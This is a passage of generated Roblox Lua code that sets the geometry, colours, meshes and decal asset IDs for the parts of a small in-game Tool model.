- Part57.Size = Vector3.new(0.209999993, 0.200000003, 0.449999988)
- Part57.CFrame = CFrame.new(27.086792, 0.846190989, 138.955017, 0.999955833, -7.51575016e-08, 0.00939106941, -7.35136609e-08, -0.999999523, -1.7538153e-07, 0.00939126313, 1.74683436e-07, -0.999955058)
- Part57.BottomSurface = Enum.SurfaceType.Smooth
- Part57.TopSurface = Enum.SurfaceType.Smooth
- Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part57.Position = Vector3.new(27.086792, 0.846190989, 138.955017)
- Part57.Orientation = Vector3.new(0, 179.459991, -180)
- Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh58.Parent = Part57
- SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
- SpecialMesh58.MeshType = Enum.MeshType.Wedge
- SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
- Part59.Parent = Tool0
- Part59.Material = Enum.Material.SmoothPlastic
- Part59.BrickColor = BrickColor.new("Black")
- Part59.Reflectance = 0.050000000745058
- Part59.Rotation = Vector3.new(180, 0.5, 0)
- Part59.Anchored = true
- Part59.FormFactor = Enum.FormFactor.Custom
- Part59.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part59.CFrame = CFrame.new(27.0842285, 1.22216797, 139.222046, 0.999961853, -1.92377968e-07, 0.0087005496, -1.90859822e-07, -0.999999702, -1.75310205e-07, 0.00870066881, 1.73642931e-07, -0.999961257)
- Part59.BottomSurface = Enum.SurfaceType.Smooth
- Part59.TopSurface = Enum.SurfaceType.Smooth
- Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part59.Position = Vector3.new(27.0842285, 1.22216797, 139.222046)
- Part59.Orientation = Vector3.new(0, 179.5, -180)
- Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh60.Parent = Part59
- BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
- BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
- Part61.Parent = Tool0
- Part61.Material = Enum.Material.SmoothPlastic
- Part61.BrickColor = BrickColor.new("Black")
- Part61.Reflectance = 0.050000000745058
- Part61.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part61.Anchored = true
- Part61.FormFactor = Enum.FormFactor.Custom
- Part61.Size = Vector3.new(0.209999993, 0.540000021, 0.209999993)
- Part61.CFrame = CFrame.new(27.0905762, 1.27026403, 138.553284, 1.19277473e-07, 0.00939115882, -0.999955595, 0.999999702, -2.19092939e-07, 1.17225042e-07, -2.17982333e-07, -0.999955356, -0.00939118862)
- Part61.BottomSurface = Enum.SurfaceType.Smooth
- Part61.TopSurface = Enum.SurfaceType.Smooth
- Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part61.Position = Vector3.new(27.0905762, 1.27026403, 138.553284)
- Part61.Orientation = Vector3.new(0, -90.5400009, 90)
- Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh62.Parent = Part61
- CylinderMesh62.Offset = Vector3.new(0, 0.111000001, 0)
- CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
- CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
- Part63.Parent = Tool0
- Part63.Material = Enum.Material.SmoothPlastic
- Part63.BrickColor = BrickColor.new("Black")
- Part63.Reflectance = 0.050000000745058
- Part63.Rotation = Vector3.new(-90, 0, 179.459991)
- Part63.Anchored = true
- Part63.FormFactor = Enum.FormFactor.Custom
- Part63.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part63.CFrame = CFrame.new(27.0906982, 0.903075993, 138.562073, -0.999955833, -0.00939102471, 7.51575016e-08, 7.35136609e-08, 1.75381558e-07, 0.999999583, -0.00939126313, 0.999954998, -1.74683436e-07)
- Part63.BottomSurface = Enum.SurfaceType.Smooth
- Part63.TopSurface = Enum.SurfaceType.Smooth
- Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part63.Position = Vector3.new(27.0906982, 0.903075993, 138.562073)
- Part63.Orientation = Vector3.new(-89.9499969, 156.720001, 22.7399998)
- Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh64.Parent = Part63
- SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh64.MeshType = Enum.MeshType.Wedge
- SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part65.Parent = Tool0
- Part65.Material = Enum.Material.SmoothPlastic
- Part65.BrickColor = BrickColor.new("Black")
- Part65.Reflectance = 0.050000000745058
- Part65.Rotation = Vector3.new(90, 0, 0.539999962)
- Part65.Anchored = true
- Part65.FormFactor = Enum.FormFactor.Custom
- Part65.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part65.CFrame = CFrame.new(27.0847168, 0.901122987, 139.183044, 0.999955833, -0.00939127803, -7.51574945e-08, -7.35136751e-08, 1.75381601e-07, -0.999999702, 0.00939120352, 0.999955297, 1.74683422e-07)
- Part65.BottomSurface = Enum.SurfaceType.Smooth
- Part65.TopSurface = Enum.SurfaceType.Smooth
- Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part65.Position = Vector3.new(27.0847168, 0.901122987, 139.183044)
- Part65.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
- Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh66.Parent = Part65
- SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh66.MeshType = Enum.MeshType.Wedge
- SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part67.Parent = Tool0
- Part67.Material = Enum.Material.SmoothPlastic
- Part67.BrickColor = BrickColor.new("Black")
- Part67.Reflectance = 0.050000000745058
- Part67.Rotation = Vector3.new(0, -0.539999962, 180)
- Part67.Anchored = true
- Part67.FormFactor = Enum.FormFactor.Custom
- Part67.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part67.CFrame = CFrame.new(27.0936279, 1.078125, 138.190063, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
- Part67.BottomSurface = Enum.SurfaceType.Smooth
- Part67.TopSurface = Enum.SurfaceType.Smooth
- Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part67.Position = Vector3.new(27.0936279, 1.078125, 138.190063)
- Part67.Orientation = Vector3.new(0, -0.539999962, 180)
- Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh68.Parent = Part67
- SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
- SpecialMesh68.MeshType = Enum.MeshType.Wedge
- SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
- Part69.Parent = Tool0
- Part69.Material = Enum.Material.SmoothPlastic
- Part69.BrickColor = BrickColor.new("Black")
- Part69.Reflectance = 0.050000000745058
- Part69.Rotation = Vector3.new(180, 0.539999962, -180)
- Part69.Anchored = true
- Part69.FormFactor = Enum.FormFactor.Custom
- Part69.Size = Vector3.new(0.209999993, 0.200000003, 0.419999987)
- Part69.CFrame = CFrame.new(27.086792, 0.97607398, 138.955017, -0.999955833, 7.51574945e-08, 0.00939127803, 7.35136751e-08, 0.999999702, -1.75381601e-07, -0.00939120352, -1.74683422e-07, -0.999955297)
- Part69.BottomSurface = Enum.SurfaceType.Smooth
- Part69.TopSurface = Enum.SurfaceType.Smooth
- Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part69.Position = Vector3.new(27.086792, 0.97607398, 138.955017)
- Part69.Orientation = Vector3.new(0, 179.459991, 0)
- Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh70.Parent = Part69
- SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
- SpecialMesh70.MeshType = Enum.MeshType.Brick
- SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
- Part71.Parent = Tool0
- Part71.Material = Enum.Material.SmoothPlastic
- Part71.BrickColor = BrickColor.new("Black")
- Part71.Reflectance = 0.050000000745058
- Part71.Rotation = Vector3.new(0, -0.539999962, 180)
- Part71.Anchored = true
- Part71.FormFactor = Enum.FormFactor.Custom
- Part71.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part71.CFrame = CFrame.new(27.0933838, 1.00610304, 138.262009, -0.999955833, -7.51575016e-08, -0.00939106941, 7.35136609e-08, -0.999999523, 1.7538153e-07, -0.00939126313, 1.74683436e-07, 0.999955058)
- Part71.BottomSurface = Enum.SurfaceType.Smooth
- Part71.TopSurface = Enum.SurfaceType.Smooth
- Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part71.Position = Vector3.new(27.0933838, 1.00610304, 138.262009)
- Part71.Orientation = Vector3.new(0, -0.539999962, 180)
- Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh72.Parent = Part71
- SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
- SpecialMesh72.MeshType = Enum.MeshType.Wedge
- SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
- Part73.Parent = Tool0
- Part73.Material = Enum.Material.SmoothPlastic
- Part73.BrickColor = BrickColor.new("Brick yellow")
- Part73.Reflectance = 0.050000000745058
- Part73.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
- Part73.Anchored = true
- Part73.FormFactor = Enum.FormFactor.Custom
- Part73.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part73.CFrame = CFrame.new(27.0927734, 0.473145008, 138.348206, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031699, -0.877250612, 0.00939126313, 0.877211511, -0.480010271)
- Part73.BottomSurface = Enum.SurfaceType.Smooth
- Part73.TopSurface = Enum.SurfaceType.Smooth
- Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part73.Position = Vector3.new(27.0927734, 0.473145008, 138.348206)
- Part73.Orientation = Vector3.new(61.3099976, 179.459991, -180)
- Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh74.Parent = Part73
- SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- SpecialMesh74.MeshType = Enum.MeshType.Wedge
- SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
- Part75.Parent = Tool0
- Part75.Material = Enum.Material.SmoothPlastic
- Part75.BrickColor = BrickColor.new("Dark stone grey")
- Part75.Reflectance = 0.050000000745058
- Part75.Rotation = Vector3.new(0, -75.5400009, 90)
- Part75.Anchored = true
- Part75.FormFactor = Enum.FormFactor.Custom
- Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part75.CFrame = CFrame.new(26.9014893, 1.28222597, 138.153503, 1.172628e-07, -0.24973698, -0.968313515, 0.999999583, -1.33308845e-07, 1.55481473e-07, -1.6791428e-07, -0.968312979, 0.249736756)
- Part75.BottomSurface = Enum.SurfaceType.Smooth
- Part75.TopSurface = Enum.SurfaceType.Smooth
- Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part75.Position = Vector3.new(26.9014893, 1.28222597, 138.153503)
- Part75.Orientation = Vector3.new(0, -75.5400009, 90)
- Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh76.Parent = Part75
- CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
- CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
- Part77.Parent = Tool0
- Part77.Material = Enum.Material.SmoothPlastic
- Part77.BrickColor = BrickColor.new("Black")
- Part77.Reflectance = 0.050000000745058
- Part77.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part77.Anchored = true
- Part77.FormFactor = Enum.FormFactor.Custom
- Part77.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
- Part77.CFrame = CFrame.new(27.1295166, 1.27026403, 138.262512, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
- Part77.BottomSurface = Enum.SurfaceType.Smooth
- Part77.TopSurface = Enum.SurfaceType.Smooth
- Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part77.Position = Vector3.new(27.1295166, 1.27026403, 138.262512)
- Part77.Orientation = Vector3.new(0, -90.5400009, 90)
- Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh78.Parent = Part77
- CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
- CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
- Part79.Parent = Tool0
- Part79.Material = Enum.Material.SmoothPlastic
- Part79.BrickColor = BrickColor.new("Black")
- Part79.Reflectance = 0.050000000745058
- Part79.Rotation = Vector3.new(0, -0.539999962, 180)
- Part79.Anchored = true
- Part79.FormFactor = Enum.FormFactor.Custom
- Part79.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
- Part79.CFrame = CFrame.new(27.0936279, 1.07519495, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
- Part79.BottomSurface = Enum.SurfaceType.Smooth
- Part79.TopSurface = Enum.SurfaceType.Smooth
- Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part79.Position = Vector3.new(27.0936279, 1.07519495, 138.235168)
- Part79.Orientation = Vector3.new(0, -0.539999962, 180)
- Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh80.Parent = Part79
- BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
- BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
- Part81.Parent = Tool0
- Part81.Material = Enum.Material.SmoothPlastic
- Part81.BrickColor = BrickColor.new("Black")
- Part81.Reflectance = 0.050000000745058
- Part81.Transparency = 1
- Part81.Rotation = Vector3.new(0, 89.4599991, 0)
- Part81.Anchored = true
- Part81.FormFactor = Enum.FormFactor.Custom
- Part81.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part81.CFrame = CFrame.new(26.9715576, 1.14721704, 138.434814, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
- Part81.BottomSurface = Enum.SurfaceType.Smooth
- Part81.TopSurface = Enum.SurfaceType.Smooth
- Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part81.Position = Vector3.new(26.9715576, 1.14721704, 138.434814)
- Part81.Orientation = Vector3.new(0, 89.4599991, 0)
- Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal82.Parent = Part81
- Decal82.Texture = "http://www.roblox.com/asset/?id=30856971"
- Decal83.Parent = Part81
- Decal83.Texture = "http://www.roblox.com/asset/?id=30856971"
- Decal83.Face = Enum.NormalId.Back
- BlockMesh84.Parent = Part81
- BlockMesh84.Offset = Vector3.new(0, 0, 0.119999997)
- BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- Part85.Parent = Tool0
- Part85.Material = Enum.Material.SmoothPlastic
- Part85.BrickColor = BrickColor.new("Black")
- Part85.Reflectance = 0.20000000298023
- Part85.Rotation = Vector3.new(-90, 0, 179.459991)
- Part85.Anchored = true
- Part85.FormFactor = Enum.FormFactor.Custom
- Part85.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part85.CFrame = CFrame.new(27.2113037, 1.10522497, 138.527344, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
- Part85.BottomSurface = Enum.SurfaceType.Smooth
- Part85.TopSurface = Enum.SurfaceType.Smooth
- Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part85.Position = Vector3.new(27.2113037, 1.10522497, 138.527344)
- Part85.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
- Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh86.Parent = Part85
- BlockMesh86.Offset = Vector3.new(0.0149999997, 0, 0)
- BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
- BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
- Part87.Parent = Tool0
- Part87.Material = Enum.Material.SmoothPlastic
- Part87.BrickColor = BrickColor.new("Black")
- Part87.Rotation = Vector3.new(-90, 0, -90.5400009)
- Part87.Anchored = true
- Part87.FormFactor = Enum.FormFactor.Custom
- Part87.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part87.CFrame = CFrame.new(26.9715576, 1.07226598, 138.434814, -0.00939127803, 0.999955833, 7.51574945e-08, 1.75381601e-07, -7.35136751e-08, 0.999999702, 0.999955297, 0.00939120352, -1.74683422e-07)
- Part87.BottomSurface = Enum.SurfaceType.Smooth
- Part87.TopSurface = Enum.SurfaceType.Smooth
- Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part87.Position = Vector3.new(26.9715576, 1.07226598, 138.434814)
- Part87.Orientation = Vector3.new(-89.9599991, 156.720001, 112.739998)
- Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh88.Parent = Part87
- CylinderMesh88.Offset = Vector3.new(0, 0.119999997, 0)
- CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
- CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
- Part89.Parent = Tool0
- Part89.Material = Enum.Material.SmoothPlastic
- Part89.BrickColor = BrickColor.new("Dark stone grey")
- Part89.Rotation = Vector3.new(-90, 0, 179.459991)
- Part89.Anchored = true
- Part89.FormFactor = Enum.FormFactor.Custom
- Part89.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part89.CFrame = CFrame.new(26.9714355, 1.07226598, 138.460022, -0.999948323, -0.00939106941, 2.24161454e-07, -7.54979652e-08, 1.7537991e-07, 0.999993861, -0.00939135253, 0.999946117, -1.73282984e-07)
- Part89.BottomSurface = Enum.SurfaceType.Smooth
- Part89.TopSurface = Enum.SurfaceType.Smooth
- Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part89.Position = Vector3.new(26.9714355, 1.07226598, 138.460022)
- Part89.Orientation = Vector3.new(-89.7999954, 127.709999, -23.289999)
- Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh90.Parent = Part89
- BlockMesh90.Offset = Vector3.new(-0.0269999988, 0, 0)
- BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
- BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
- Part91.Parent = Tool0
- Part91.Material = Enum.Material.SmoothPlastic
- Part91.BrickColor = BrickColor.new("Black")
- Part91.Reflectance = 0.050000000745058
- Part91.Transparency = 1
- Part91.Rotation = Vector3.new(0, 89.4599991, 0)
- Part91.Anchored = true
- Part91.FormFactor = Enum.FormFactor.Custom
- Part91.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part91.CFrame = CFrame.new(26.9709473, 1.06616199, 138.530884, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
- Part91.BottomSurface = Enum.SurfaceType.Smooth
- Part91.TopSurface = Enum.SurfaceType.Smooth
- Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part91.Position = Vector3.new(26.9709473, 1.06616199, 138.530884)
- Part91.Orientation = Vector3.new(0, 89.4599991, 0)
- Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal92.Parent = Part91
- Decal92.Texture = "http://www.roblox.com/asset/?id=30856952"
- Decal93.Parent = Part91
- Decal93.Texture = "http://www.roblox.com/asset/?id=30856952"
- Decal93.Face = Enum.NormalId.Back
- BlockMesh94.Parent = Part91
- BlockMesh94.Offset = Vector3.new(0, 0, 0.119999997)
- BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- Part95.Parent = Tool0
- Part95.Material = Enum.Material.SmoothPlastic
- Part95.BrickColor = BrickColor.new("Black")
- Part95.Reflectance = 0.050000000745058
- Part95.Rotation = Vector3.new(0, 89.4599991, 0)
- Part95.Anchored = true
- Part95.FormFactor = Enum.FormFactor.Custom
- Part95.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part95.CFrame = CFrame.new(27.215332, 1.20727503, 138.719482, 0.00939106941, 1.04958431e-07, 0.999955714, -1.75381587e-07, 0.999999583, -1.03315969e-07, -0.999955237, -1.74403468e-07, 0.00939127803)
- Part95.BottomSurface = Enum.SurfaceType.Smooth
- Part95.TopSurface = Enum.SurfaceType.Smooth
- Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part95.Position = Vector3.new(27.215332, 1.20727503, 138.719482)
- Part95.Orientation = Vector3.new(0, 89.4599991, 0)
- Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh96.Parent = Part95
- SpecialMesh96.MeshId = "http://www.roblox.com/asset/?id=12221344"
- SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
- SpecialMesh96.MeshType = Enum.MeshType.FileMesh
- SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
- Part97.Parent = Tool0
- Part97.Material = Enum.Material.SmoothPlastic
- Part97.BrickColor = BrickColor.new("Black")
- Part97.Reflectance = 0.050000000745058
- Part97.Transparency = 1
- Part97.Rotation = Vector3.new(0, 89.4599991, 0)
- Part97.Anchored = true
- Part97.FormFactor = Enum.FormFactor.Custom
- Part97.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part97.CFrame = CFrame.new(26.9727783, 1.06616199, 138.338989, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
- Part97.BottomSurface = Enum.SurfaceType.Smooth
- Part97.TopSurface = Enum.SurfaceType.Smooth
- Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part97.Position = Vector3.new(26.9727783, 1.06616199, 138.338989)
- Part97.Orientation = Vector3.new(0, 89.4599991, 0)
- Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal98.Parent = Part97
- Decal98.Texture = "http://www.roblox.com/asset/?id=30856892"
- Decal99.Parent = Part97
- Decal99.Texture = "http://www.roblox.com/asset/?id=30856892"
- Decal99.Face = Enum.NormalId.Back
- BlockMesh100.Parent = Part97
- BlockMesh100.Offset = Vector3.new(0, 0, 0.119999997)
- BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
- Part101.Parent = Tool0
- Part101.Material = Enum.Material.SmoothPlastic
- Part101.BrickColor = BrickColor.new("Black")
- Part101.Reflectance = 0.050000000745058
- Part101.Rotation = Vector3.new(0, -0.539999962, 90)
- Part101.Anchored = true
- Part101.FormFactor = Enum.FormFactor.Custom
- Part101.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part101.CFrame = CFrame.new(27.2094727, 1.16210902, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
- Part101.BottomSurface = Enum.SurfaceType.Smooth
- Part101.TopSurface = Enum.SurfaceType.Smooth
- Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part101.Position = Vector3.new(27.2094727, 1.16210902, 138.716553)
- Part101.Orientation = Vector3.new(0, -0.539999962, 90)
- Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh102.Parent = Part101
- BlockMesh102.Offset = Vector3.new(-0.00749999983, 0.00300000003, 0)
- BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
- BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
- Part103.Parent = Tool0
- Part103.Material = Enum.Material.SmoothPlastic
- Part103.BrickColor = BrickColor.new("Black")
- Part103.Reflectance = 0.050000000745058
- Part103.Rotation = Vector3.new(0, -0.539999962, 90)
- Part103.Anchored = true
- Part103.FormFactor = Enum.FormFactor.Custom
- Part103.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part103.CFrame = CFrame.new(27.2094727, 1.12622094, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
- Part103.BottomSurface = Enum.SurfaceType.Smooth
- Part103.TopSurface = Enum.SurfaceType.Smooth
- Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part103.Position = Vector3.new(27.2094727, 1.12622094, 138.716553)
- Part103.Orientation = Vector3.new(0, -0.539999962, 90)
- Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh104.Parent = Part103
- BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
- BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
- Part105.Parent = Tool0
- Part105.Material = Enum.Material.SmoothPlastic
- Part105.BrickColor = BrickColor.new("Black")
- Part105.Rotation = Vector3.new(-90, 0, 179.459991)
- Part105.Anchored = true
- Part105.FormFactor = Enum.FormFactor.Custom
- Part105.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part105.CFrame = CFrame.new(27.2172852, 1.07226598, 138.462296, -0.999955833, -0.00939127803, 7.44607718e-08, 7.35136609e-08, 1.01192242e-07, 0.999999702, -0.00939120352, 0.999955297, -1.00497417e-07)
- Part105.BottomSurface = Enum.SurfaceType.Smooth
- Part105.TopSurface = Enum.SurfaceType.Smooth
- Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part105.Position = Vector3.new(27.2172852, 1.07226598, 138.462296)
- Part105.Orientation = Vector3.new(-89.9599991, 143.459991, 36)
- Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh106.Parent = Part105
- BlockMesh106.Offset = Vector3.new(0.0149999997, 0.0539999977, 0)
- BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
- BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
- Part107.Parent = Tool0
- Part107.Material = Enum.Material.SmoothPlastic
- Part107.BrickColor = BrickColor.new("Black")
- Part107.Reflectance = 0.050000000745058
- Part107.Rotation = Vector3.new(0, -0.539999962, 90)
- Part107.Anchored = true
- Part107.FormFactor = Enum.FormFactor.Custom
- Part107.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part107.CFrame = CFrame.new(27.2086182, 1.04223597, 138.776367, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
- Part107.BottomSurface = Enum.SurfaceType.Smooth
- Part107.TopSurface = Enum.SurfaceType.Smooth
- Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part107.Position = Vector3.new(27.2086182, 1.04223597, 138.776367)
- Part107.Orientation = Vector3.new(0, -0.539999962, 90)
- Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh108.Parent = Part107
- BlockMesh108.Offset = Vector3.new(0, 0.0120000001, 0)
- BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
- BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
- Part109.Parent = Tool0
- Part109.Material = Enum.Material.SmoothPlastic
- Part109.BrickColor = BrickColor.new("Black")
- Part109.Reflectance = 0.050000000745058
- Part109.Rotation = Vector3.new(0, 89.4599991, -90)
- Part109.Anchored = true
- Part109.FormFactor = Enum.FormFactor.Custom
- Part109.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part109.CFrame = CFrame.new(26.9537354, 0.913085997, 138.828003, -7.51574945e-08, 0.00939127803, 0.999955833, -0.999999702, -1.75381601e-07, -7.35136751e-08, 1.74683422e-07, -0.999955297, 0.00939120352)
- Part109.BottomSurface = Enum.SurfaceType.Smooth
- Part109.TopSurface = Enum.SurfaceType.Smooth
- Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part109.Position = Vector3.new(26.9537354, 0.913085997, 138.828003)
- Part109.Orientation = Vector3.new(0, 89.4599991, -90)
- Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh110.Parent = Part109
- CylinderMesh110.Offset = Vector3.new(0, 0, 0.0450000018)
- CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
- CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
- Part111.Parent = Tool0
- Part111.Material = Enum.Material.SmoothPlastic
- Part111.BrickColor = BrickColor.new("Black")
- Part111.Reflectance = 0.050000000745058
- Part111.Rotation = Vector3.new(0, -0.539999962, -180)
- Part111.Anchored = true
- Part111.FormFactor = Enum.FormFactor.Custom
- Part111.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
